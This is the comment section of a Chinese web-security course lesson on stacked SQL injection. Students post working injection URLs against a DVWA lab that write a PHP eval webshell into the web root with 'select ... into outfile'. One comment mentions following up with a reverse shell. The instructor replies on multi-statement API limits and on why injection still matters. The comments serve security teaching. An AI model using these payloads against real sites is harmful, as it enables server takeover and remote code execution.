28 | SQL注入实战：威力巨大的堆叠注入-Web安全攻防实战-极客时间

MYSQL的引号escape方法比较特殊, 单引号里面可以escape单引号, 我一直卡在这个上面, 终于解决了, 可以利用如下方式堆叠注入: http://127.0.0.1:81/vulnerabilities/sqli/?id=1'; select '<?php eval$_POST[\'cmd\']?>' into outfile '/var/www/html/vulnerabilities/sqli/source/shell.php'; -- &Submit=Submit# 然后通过shell脚本反向shell即可

作者回复: 同学的研究精神值得钦佩！

2020-07-31



2

Pqw

老师，为什么我在 dvwa 的数据库中直接写入 webshell 可以成功，语法也没有问题，为什么用堆叠注入就始终无法成功呢？http://www.dock.com/vulnerabilities/sqli/?id=1';select '123' into outfile '/var/www/html/vulnerabilities/sqli/source/shell.php'; -- &Submit=Submit#

作者回复: 这里涉及到编程语言使用具体查询的API，这些API有的允许执行多个SQL，有的仅允许单个SQL执行，如果API自身不允许多SQL执行，堆叠注入自然就无法成功。

2020-10-12





沈伟敏

听了老师这么多 SQL注入攻击的课程，收获颇丰。但是，我在实践过程中发现，现在的大多数主流编程语言都支持orm，并且orm请求过程也支持了mysql的prepare statement，这样一来实际上已经屏蔽了绝大多数SQL注入。所以我感觉这些注入目前实战价值比较低（当然如果是为了课程教授用来举一反三就另当别论了）。后续有没有比较有实战价值的课程介绍呢？

作者回复: 首先 ORM的确很方便，但是也有它自身的限制，当性能要求上来之后，手写sql必不可少，OWASP top10 2017 版把注入列为了第一，并不是没有理由的，世界上还有非常多的WEB网站使用PHP编写，使用了不同版本的PHP框架，不同的cms，它们实际上仍然面临着sql注入的威胁，直接的注入确实变少了，但是思维的拓展和变种的注入，在将来很长一段时间都是起作用的。这是最近出现的一个sql注入漏洞。 https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650477612&idx=2&sn=b800ec8a60a537a42dd4a03c35b57fd4 当然，我们以后会出其他课程，如果你觉得跟着我们的课程学习有收获，关注我们哦~

2020-08-25

2



Kevin⚡️Zhou

如果不用堆叠注入的话, 我们都不需要更改原本的代码, 直接使用mysql_query这个api, 使用如下代码 http://127.0.0.1:81/vulnerabilities/sqli/?id=1' union select '<?php eval$_POST[''cmd'']?>', 2 into outfile '/var/www/html/vulnerabilities, 这样的话也可以实现生成shell文件, 但这种注入比较苛刻, 需要mysql用户对文件夹有使用权限, 同时mysql内部也要使用 GRANT FILE ON *.* TO app@localhost; 来打开文件写权限

作者回复: 看其他回复，童鞋貌似已经自己解决了，很厉害哦！

2020-07-31





Kevin⚡️Zhou

关于课后作业, 我尝试了很多字符串试图从mysql内部写入磁盘上的文件, 比如将输入替换为 1'; select \"<?php eval($_POST['cmd']); ?>\" into outfile '/var/www/html/vulnerabilities/sqli/source/shell.php'; -- 但是尝试了很久没能成功, 老师能不能给一个参考? 如何从mysql内部写入到磁盘上php文件中.

作者回复: 看其他回复，童鞋貌似已经自己解决了，很厉害哦！

2020-07-31





测试老牛

其实，我觉得这个自己加密的得密码放入到数据库得方法是限制十分大的，首先，你不知道数据库中得密码是什么加密方式，如果数据库是md5加密方式，那么我们就很容易就解出来了。如果数据库使用的不是md5加密方式，我们把密码加密成md5，数据库该怎么解密呢？如果数据库自带解密方式，可能就是我的局限性了

2022-06-18





收起评论